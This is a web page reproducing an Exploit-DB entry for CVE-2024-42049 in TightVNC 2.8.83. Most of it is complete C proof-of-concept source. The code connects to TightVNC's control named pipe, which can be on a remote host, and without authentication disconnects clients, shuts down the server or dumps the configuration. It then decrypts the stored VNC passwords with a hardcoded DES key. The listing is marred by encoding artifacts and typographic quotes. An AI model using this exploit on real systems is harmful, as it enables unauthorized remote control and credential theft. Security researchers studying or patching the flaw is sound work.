TightVNC 2.8.83 – Control Pipe Manipulation

Exploit Details

Basic Information

Exploit Title TightVNC 2.8.83 – Control Pipe Manipulation
Exploit ID EDB-ID:52322
Type exploitdb
Published 2025-06-09T00:00:00
Modified 2025-06-09T00:00:00

CVSS Information

CVSS Score 9.1
Severity CRITICAL
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE Information

  • CVE-2024-42049

Exploit Description

Exploit Title: TightVNC 2.8.83 – Control…

Exploit Code

# Exploit Title: TightVNC 2.8.83 – Control Pipe Manipulation

# Date: 06/09/2025

# Exploit Author: Ionut Zevedei ([email protected])

# Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC

# Vendor Homepage: https://www.tightvnc.com/

# Software Link: https://www.tightvnc.com/download.php

# Version: 2.8.83

# Tested on: Windows 10 x64 – TightVNC 2.5.10, 2.8.81

# CVE : CVE-2024-42049

#include =20

#include

#include

#include

#include “descrypt.h”

#define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)

#define BUFFER_SIZE 512

#define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06

#define TVNC_CMD_GET_CLIENT_LIST 0x04

#define TVNC_CMD_SHUTDOWN_SERVER 0x07

#define TVNC_CMD_GET_SERVER_INFO 0x11

#define TVNC_CMD_GET_CONFIG 0x12

const unsigned int commands[6] =3D {

TVNC_CMD_DISCONNECT_ALL_CLIENTS,

TVNC_CMD_GET_CLIENT_LIST,

TVNC_CMD_SHUTDOWN_SERVER,

TVNC_CMD_GET_SERVER_INFO,

TVNC_CMD_GET_CONFIG,

};

unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 };

void get_bytes(unsigned int data, unsigned char* out) {

out[0] =3D GETBYTE(data, 3);

out[1] =3D GETBYTE(data, 2);

out[2] =3D GETBYTE(data, 1);

out[3] =3D GETBYTE(data, 0);

}

// printf is wonky when printing passwords later

void print_passwd(unsigned char* passwd) {

for (int i =3D 0; i < 8; i++) {
printf(“%c”, passwd[i]);

}

printf(“\n”);

}

void print_error(unsigned long error_code) {

unsigned char* buffer;

=20

// damn it windows…

FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_FROM_SYSTEM |

FORMAT_MESSAGE_IGNORE_INSERTS,

NULL,

error_code,

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),

(LPTSTR) &buffer,

0, NULL);

printf(“[error]: %s\n”, buffer);

}

void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {

unsigned char primary_passwd[8] =3D { 0x00 };

unsigned char view_only_passwd[8] =3D { 0x00 };

printf(“\n\tencrypted primary password: “);

for (int i =3D 0; i < 8; i++) {
primary_passwd[i] =3D buffer_ptr[offset + 8 + i];

printf(“%02x “, primary_passwd[i]);

}

printf(“\n\tencrypted view-only password: “);

for (int i =3D 0; i < 8; i++) {
view_only_passwd[i] =3D buffer_ptr[offset + i];

printf(“%02x “, view_only_passwd[i]);

}

unsigned char primary_passwd_decrypted[8] =3D { 0x00 };

unsigned char view_only_passwd_decrypted[8] =3D { 0x00 };

decrypt(primary_passwd_decrypted, view_only_passwd,

sizeof(primary_passwd_decrypted), des_key);

decrypt(view_only_passwd_decrypted, primary_passwd,

sizeof(view_only_passwd_decrypted), des_key);

printf(“\n\tdecrypted primary password: “);

print_passwd(primary_passwd_decrypted);

printf(“\tdecrypted view-only password: “);

print_passwd(view_only_passwd_decrypted);

}

BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {

unsigned long pipe_mode;

BOOL result =3D FALSE;

printf(“[~] opening pipe %s…\n”, pipe_name);

while (1) {

*handle_ptr =3D CreateFile(

pipe_name,

GENERIC_READ | GENERIC_WRITE,

0,

NULL,

OPEN_EXISTING,

FILE_FLAG_OVERLAPPED,

NULL

);

if (*handle_ptr !=3D INVALID_HANDLE_VALUE) {

printf(“[+] pipe opened\n”);

break;

}

if (GetLastError() !=3D ERROR_PIPE_BUSY) {

printf(“[-] could not open pipe\n”);

print_error(GetLastError());

return FALSE;

}

printf(“[~] waiting for named pipe to be available – if this hangs the =

pipe server might be dead.\n”);

WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);

}

pipe_mode =3D PIPE_READMODE_BYTE;

result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);

if (!result) {

printf(“[-] failed setting pipe read mode\n”);

print_error(GetLastError());

return result;

}

return result;

}

int main(int argc, char* argv[]) {

HANDLE pipe_handle =3D NULL;

unsigned char message[8] =3D { 0x00 };

unsigned char buffer[BUFFER_SIZE] =3D { 0x00 };

BOOL result =3D FALSE;

unsigned long bytes_read, bytes_written;

unsigned int cmd_index =3D 0;

unsigned int offset =3D 30;

if (argc < 3) {
printf(“usage: %s \n”, argv[0]);

printf(“offset – optional: default is 30 – change as needed\n”);

printf(“commands:\n”);

printf(“\t1 – disconnect all clients\n”);

printf(“\t2 – get client list\n”);

printf(“\t3 – shutdown server\n”);

printf(“\t4 – get server info\n”);

printf(“\t5 – get server config\n”);

printf(“example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont=

rol\n”);

printf(“\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n”);

return 0;

}

char* stop =3D NULL;

cmd_index =3D strtol(argv[1], &stop, 10);

if (stop =3D=3D ‘\0’) {

return 0;

}

cmd_index–;

if (argc =3D=3D 4) {

stop =3D NULL;

offset =3D strtol(argv[3], &stop, 10);

if (offset =3D=3D 0 || stop =3D=3D ‘\0’) {

return 0;

}

}

if (!open_pipe(&pipe_handle, argv[2])) {

goto exit;

}

printf(“[i] sending command…\n”);

=20

get_bytes(commands[cmd_index], message);

result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL);

if (!result) {

printf(“[-] failed writing to pipe\n”);

print_error(GetLastError());

goto exit;

}

printf(“[~] message sent; waiting for reply\n”);

do {

result =3D ReadFile(

pipe_handle,

buffer,

BUFFER_SIZE * sizeof(unsigned char),

&bytes_read,

NULL

);

if (!result && GetLastError() !=3D ERROR_MORE_DATA)

break;

printf(“[+] got %d bytes back!\n”, bytes_read);

printf(” hex: \n\t”);

for (int i =3D 0; i < bytes_read; i++) {
printf(“%02x “, buffer[i]);

}

printf(“\n char: \n\t”);

for (int i =3D 0; i < bytes_read; i++) {
printf(“%c”, buffer[i]);

}

printf(“\n\n”);

if (cmd_index =3D=3D 4) {

printf(“\n[~] command is get config, attempting to decrypt passwords =

using offset %d…\n”, offset);

decrypt_passwords(&buffer, offset);

}

memset(buffer, 0, BUFFER_SIZE);

} while (!result);

if (!result)

{

printf(“[-] failed reading from pipe\n”);

print_error(GetLastError());

goto exit;

}

printf(“\n[+] done\n\n”);

exit:

if (pipe_handle !=3D NULL) {

CloseHandle(&pipe_handle);

}

return 0;

}

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.